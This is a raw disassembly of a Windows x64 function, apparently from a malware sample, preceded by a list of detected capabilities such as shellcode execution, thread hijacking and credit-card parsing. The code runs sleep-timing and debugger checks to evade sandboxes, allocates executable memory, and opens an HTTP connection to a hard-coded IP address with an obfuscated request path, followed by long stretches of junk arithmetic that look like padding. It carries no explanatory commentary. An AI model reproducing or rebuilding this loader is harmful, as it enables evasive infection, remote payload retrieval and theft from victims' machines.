Function at 0x39c521d34
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Connect to http server
Create http request
Encode data using base64
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Link many functions at runtime
Parse credit card information
Parse pe header
Read data from internet
Receive data
Resume thread
Send data
Send http request
Suspend thread

Disassembly:
push rbp
push rbx
mov eax, 0x4d98
call fcn.39c55d0a0
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x4d00], xmm6
mov qword [rbp + 0x4d30], rcx
mov dword [rbp + 0x4d38], edx
mov qword [rbp + 0x4d40], r8
mov dword [rbp + 0x3274], 1
cmp dword [rbp + 0x4d38], 1
jne 0x39c55c2f9
mov dword [rbp + 0x3270], 0x384
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3268], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3260], rax
mov rax, qword [rbp + 0x3260]
call rax
mov dword [rbp + 0x325c], eax
mov eax, dword [rbp + 0x3270]
mov r8, qword [rbp + 0x3268]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x3260]
call rax
mov dword [rbp + 0x3258], eax
mov eax, dword [rbp + 0x3258]
sub eax, dword [rbp + 0x325c]
cmp eax, 0x352
jbe 0x39c55c2f9
mov qword [rbp + 0x3250], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3248], rax
mov rax, qword [rbp + 0x3248]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x54cc680
mov ecx, 0
call rax
mov qword [rbp + 0x3250], rax
cmp qword [rbp + 0x3250], 0
je 0x39c55c2f9
mov rax, qword [rbp + 0x3250]
mov edx, 0x54cc680
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x3250]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x3240], rax
cmp qword [rbp + 0x3240], 0
je 0x39c521f2d
mov rax, qword [rbp + 0x3240]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3238], rax
mov rax, qword [rbp + 0x3238]
mov ecx, 0
call rax
mov dword [rbp + 0x4cfc], eax
cmp dword [rbp + 0x4cfc], 0xffffffff
je 0x39c55c2f9
mov dword [rbp + 0x634], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3230], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x634]
mov r8, qword [rbp + 0x3230]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x634]
cmp eax, 1
je 0x39c55c2f9
mov dword [rbp + 0x322c], 0x36c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3220], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3218], rax
mov rax, qword [rbp + 0x3218]
call rax
mov dword [rbp + 0x3214], eax
mov eax, dword [rbp + 0x322c]
mov r8, qword [rbp + 0x3220]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x3218]
call rax
mov dword [rbp + 0x3210], eax
mov eax, dword [rbp + 0x3210]
sub eax, dword [rbp + 0x3214]
cmp eax, 0x33a
jbe 0x39c55c2f9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3208], rax
mov rax, qword [rbp + 0x3208]
mov ecx, 0
call rax
mov dword [rbp + 0x3204], eax
cmp dword [rbp + 0x3204], 0xffffffff
je 0x39c55c2f9
mov qword [rbp + 0x4cf0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x31f8], rax
cmp qword [rbp + 0x31f8], 0
je 0x39c522137
mov rax, qword [rbp + 0x31f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x31f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x31f0]
mov r9d, 0x3000
mov r8d, 0x43a
mov edx, 0
call rax
mov qword [rbp + 0x4cf0], rax
cmp qword [rbp + 0x4cf0], 0
je 0x39c55c2f9
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x31e8], rax
cmp qword [rbp + 0x31e8], 0
je 0x39c55c2f9
mov rax, qword [rbp + 0x31e8]
mov edx, 0x531
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x31e4], eax
lea rax, str.kwssmrucnbbayx.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x31d8], rax
cmp qword [rbp + 0x31d8], 0
jne 0x39c55c2f9
mov qword [rbp + 0x4ce8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x31d0], rax
cmp qword [rbp + 0x31d0], 0
je 0x39c52224c
mov rax, qword [rbp + 0x31d0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x31c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x31c8]
mov r9d, 0x3000
mov r8d, 0x32c
mov edx, 0
call rax
mov qword [rbp + 0x4ce8], rax
cmp qword [rbp + 0x4ce8], 0
je 0x39c55c2f9
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x31c0], rax
cmp qword [rbp + 0x31c0], 0
je 0x39c55c2f9
mov rax, qword [rbp + 0x31c0]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x31b8], rax
cmp qword [rbp + 0x31b8], 0
je 0x39c55c2f9
mov rax, qword [rbp + 0x31b8]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.rcL_lxHbRCIiMK_ZZTtrolxGthawDmlSsMYSYUUBuNZrrkbhTcnyFElljeqLMbfpVxJleISpJHlHKKewGd_Un_EmdkQg__UOAFptOFEFyatnZozTTNFcskKNiCs
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x31b0], rax
cmp qword [rbp + 0x31b0], 0
je 0x39c55c2f9
mov dword [rbp + 0x630], 0x3380
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x31b0]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp + 0x31ac], eax
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x7a1200
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x31a0], rax
pxor xmm0, xmm0
movss dword [rbp + 0x4ce0], xmm0
mov ecx, 0x40c
call sym.malloc
mov qword [rbp + 0x3198], rax
mov dword [rbp + 0x4cd8], 0
mov dword [rbp + 0x4cd4], 0
mov dword [rbp + 0x4cdc], 0
jmp 0x39c522438
call sym.rand
mov edx, dword [rbp + 0x4cdc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3198]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4cdc], 1
cmp dword [rbp + 0x4cdc], 0x102
jle 0x39c5223eb
mov dword [rbp + 0x4cdc], 0
mov dword [rbp + 0x4cdc], 0
jmp 0x39c5224b7
mov eax, dword [rbp + 0x4cdc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3198]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x39c522486
add dword [rbp + 0x4cd8], 1
jmp 0x39c5224b0
mov eax, dword [rbp + 0x4cdc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3198]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x39c5224b0
add dword [rbp + 0x4cd4], 1
add dword [rbp + 0x4cdc], 1
cmp dword [rbp + 0x4cdc], 0x102
jle 0x39c52245a
mov rax, qword [rbp + 0x3198]
mov rcx, rax
call sym.free
mov ecx, 0x734
call sym.malloc
mov qword [rbp + 0x3190], rax
mov dword [rbp + 0x4ccc], 0
mov dword [rbp + 0x4cc8], 0
mov dword [rbp + 0x4cd0], 0
jmp 0x39c522550
call sym.rand
mov edx, dword [rbp + 0x4cd0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3190]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4cd0], 1
cmp dword [rbp + 0x4cd0], 0x1cc
jle 0x39c522503
mov dword [rbp + 0x4cd0], 0
mov dword [rbp + 0x4cd0], 0
jmp 0x39c5225cf
mov eax, dword [rbp + 0x4cd0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3190]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x39c52259e
add dword [rbp + 0x4ccc], 1
jmp 0x39c5225c8
mov eax, dword [rbp + 0x4cd0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3190]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x39c5225c8
add dword [rbp + 0x4cc8], 1
add dword [rbp + 0x4cd0], 1
cmp dword [rbp + 0x4cd0], 0x1cc
jle 0x39c522572
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call sym.free
mov ecx, 0x778
call sym.malloc
mov qword [rbp + 0x3188], rax
mov dword [rbp + 0x4cc4], 0
jmp 0x39c522654
call sym.rand
mov edx, dword [rbp + 0x4cc4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3188]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4cc4], 1
cmp dword [rbp + 0x4cc4], 0x1dd
jle 0x39c522607
mov dword [rbp + 0x4cc4], 0
jmp 0x39c52276c
mov dword [rbp + 0x63c], 0
jmp 0x39c52274e
mov eax, dword [rbp + 0x4cc4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3188]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3188]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x39c522747
mov eax, dword [rbp + 0x63c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3188]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x638], eax
mov eax, dword [rbp + 0x4cc4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3188]
add rax, rdx
mov edx, dword [rbp + 0x63c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3188]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3188]
add rdx, rax
mov eax, dword [rbp + 0x638]
mov dword [rdx], eax
add dword [rbp + 0x4cc4], 1
mov eax, 0x1dd
sub eax, dword [rbp + 0x4cc4]
cmp dword [rbp + 0x63c], eax
jl 0x39c52267e
add dword [rbp + 0x4cc4], 1
cmp dword [rbp + 0x4cc4], 0x1dd
jle 0x39c52266f
mov rax, qword [rbp + 0x3188]
mov rcx, rax
call sym.free
mov ecx, 0x2dc
call sym.malloc
mov qword [rbp + 0x3180], rax
mov dword [rbp + 0x4cbc], 0
mov dword [rbp + 0x4cb8], 0
mov dword [rbp + 0x4cc0], 0
jmp 0x39c522808
call sym.rand
mov edx, dword [rbp + 0x4cc0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3180]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4cc0], 1
cmp dword [rbp + 0x4cc0], 0xb6
jle 0x39c5227bc
mov dword [rbp + 0x4cc0], 0
jmp 0x39c522849
mov eax, dword [rbp + 0x4cc0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3180]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x4cbc], eax
add dword [rbp + 0x4cc0], 1
cmp dword [rbp + 0x4cc0], 0xb6
jle 0x39c522820
mov dword [rbp + 0x4cc0], 0
jmp 0x39c5228d1
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x4cb8]
mov eax, dword [rbp + 0x4cc0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3180]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x640]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x39c565118]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x4cb8], eax
add dword [rbp + 0x4cc0], 1
cmp dword [rbp + 0x4cc0], 0xb6
jle 0x39c522861
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x4cb8]
movss xmm1, dword [0x39c565120]
divss xmm0, xmm1
movss dword [rbp + 0x317c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x317c]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x3178], xmm0
mov rax, qword [rbp + 0x3180]
mov rcx, rax
call sym.free
mov ecx, 0x454
call sym.malloc
mov qword [rbp + 0x3170], rax
mov dword [rbp + 0x4cb0], 0
mov dword [rbp + 0x4cac], 0
mov dword [rbp + 0x4cb4], 0
jmp 0x39c5229b1
call sym.rand
mov edx, dword [rbp + 0x4cb4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3170]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4cb4], 1
cmp dword [rbp + 0x4cb4], 0x114
jle 0x39c522964
mov dword [rbp + 0x4cb4], 0
mov dword [rbp + 0x4cb4], 0
jmp 0x39c522a30
mov eax, dword [rbp + 0x4cb4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3170]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x39c5229ff
add dword [rbp + 0x4cb0], 1
jmp 0x39c522a29
mov eax, dword [rbp + 0x4cb4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3170]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x39c522a29
add dword [rbp + 0x4cac], 1
add dword [rbp + 0x4cb4], 1
cmp dword [rbp + 0x4cb4], 0x114
jle 0x39c5229d3
mov rax, qword [rbp + 0x3170]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4ce4], 0
jmp 0x39c522ad0
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x4ce4]
movsd xmm0, qword [0x39c565128]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x39c565130]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x4ce4]
addsd xmm0, xmm0
movsd xmm2, qword [0x39c565128]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x4ce0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x4ce0], xmm0
add dword [rbp + 0x4ce4], 1
cmp dword [rbp + 0x4ce4], 0x51
jle 0x39c522a57
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x3168], rax
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x3160], rax
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x3158], rax
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x3150], rax
mov dword [rbp + 0x4ca4], 0x16b
mov dword [rbp + 0x4ca8], 0
jmp 0x39c522bcd
call sym.rand
mov edx, dword [rbp + 0x4ca8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3168]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x4ca8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3160]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4ca8], 1
cmp dword [rbp + 0x4ca8], 0x16b
jle 0x39c522b3a
mov dword [rbp + 0x4ca8], 0
jmp 0x39c522c6c
mov eax, dword [rbp + 0x4ca4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3168]
add rax, rdx
mov edx, dword [rbp + 0x4ca8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3158]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x4ca4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3160]
add rax, rdx
mov edx, dword [rbp + 0x4ca8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3150]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x4ca4], 1
add dword [rbp + 0x4ca8], 1
cmp dword [rbp + 0x4ca8], 0x16b
jle 0x39c522bec
mov rax, qword [rbp + 0x3168]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3160]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3158]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3150]
mov rcx, rax
call sym.free
mov ecx, 0x150
call sym.malloc
mov qword [rbp + 0x3148], rax
mov ecx, 0x150
call sym.malloc
mov qword [rbp + 0x3140], rax
mov ecx, 0x150
call sym.malloc
mov qword [rbp + 0x3138], rax
mov dword [rbp + 0x4ca0], 0
jmp 0x39c522ddc
mov dword [rbp + 0x4c9c], 0
jmp 0x39c522dc8
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x4ca0]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x3148]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x4c9c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x4ca0]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x3140]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x4c9c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x4c9c], 1
cmp dword [rbp + 0x4c9c], 0xb
jle 0x39c522d09
add dword [rbp + 0x4ca0], 1
cmp dword [rbp + 0x4ca0], 6
jle 0x39c522cfa
mov dword [rbp + 0x4ca0], 0
jmp 0x39c522eb6
mov dword [rbp + 0x4c9c], 0
jmp 0x39c522ea2
mov eax, dword [rbp + 0x4ca0]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3148]
add rdx, rax
mov eax, dword [rbp + 0x4c9c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x4ca0]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3140]
add rdx, rax
mov eax, dword [rbp + 0x4c9c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x4ca0]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3138]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x4c9c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x4c9c], 1
cmp dword [rbp + 0x4c9c], 0xb
jle 0x39c522e07
add dword [rbp + 0x4ca0], 1
cmp dword [rbp + 0x4ca0], 6
jle 0x39c522df8
mov rax, qword [rbp + 0x3148]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3140]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3138]
mov rcx, rax
call sym.free
mov ecx, 0x8c
call sym.malloc
mov qword [rbp + 0x3130], rax
mov dword [rbp + 0x4c98], 0
mov dword [rbp + 0x312c], 1
mov dword [rbp + 0x4c94], 0
jmp 0x39c522f9c
mov dword [rbp + 0x4c90], 0
jmp 0x39c522f8c
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x4c94]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x3130]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x4c90]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x4c90], 1
cmp dword [rbp + 0x4c90], 4
jle 0x39c522f2d
add dword [rbp + 0x4c94], 1
cmp dword [rbp + 0x4c94], 6
jle 0x39c522f21
mov dword [rbp + 0x4c94], 0
jmp 0x39c523012
mov dword [rbp + 0x4c90], 0
jmp 0x39c523002
mov eax, dword [rbp + 0x4c94]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x3130]
add rdx, rax
mov eax, dword [rbp + 0x4c90]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x39c522ffb
add dword [rbp + 0x4c98], 1
add dword [rbp + 0x4c90], 1
cmp dword [rbp + 0x4c90], 4
jle 0x39c522fc1
add dword [rbp + 0x4c94], 1
cmp dword [rbp + 0x4c94], 6
jle 0x39c522fb5
cmp dword [rbp + 0x4c98], 0x11
je 0x39c52302e
mov dword [rbp + 0x312c], 0
mov rax, qword [rbp + 0x3130]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4c8c], 0xffffffff
mov ecx, 0x878
call sym.malloc
mov qword [rbp + 0x3120], rax
add dword [rbp + 0x4c8c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x39c565138]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x4c8c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3120]
add rax, rdx
movsd xmm1, qword [0x39c565128]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x4c8c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3120]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x4c8c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3120]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x4c8c], 0x10d
jle 0x39c523058
mov ecx, 0x2b8
call sym.malloc
mov qword [rbp + 0x3118], rax
mov dword [rbp + 0x4c84], 0
mov dword [rbp + 0x4c80], 0
mov dword [rbp + 0x4c88], 0
jmp 0x39c52317e
call sym.rand
mov edx, dword [rbp + 0x4c88]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3118]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x4c88], 1
cmp dword [rbp + 0x4c88], 0xad
jle 0x39c523132
mov dword [rbp + 0x4c88], 0
jmp 0x39c5231bf
mov eax, dword [rbp + 0x4c88]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3118]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x4c84], eax
add dword [rbp + 0x4c88], 1
cmp dword [rbp + 0x4c88], 0xad
jle 0x39c523196
mov dword [rbp + 0x4c88], 0
jmp 0x39c523247
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x4c80]
mov eax, dword [rbp + 0x4c88]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3118]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x644]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
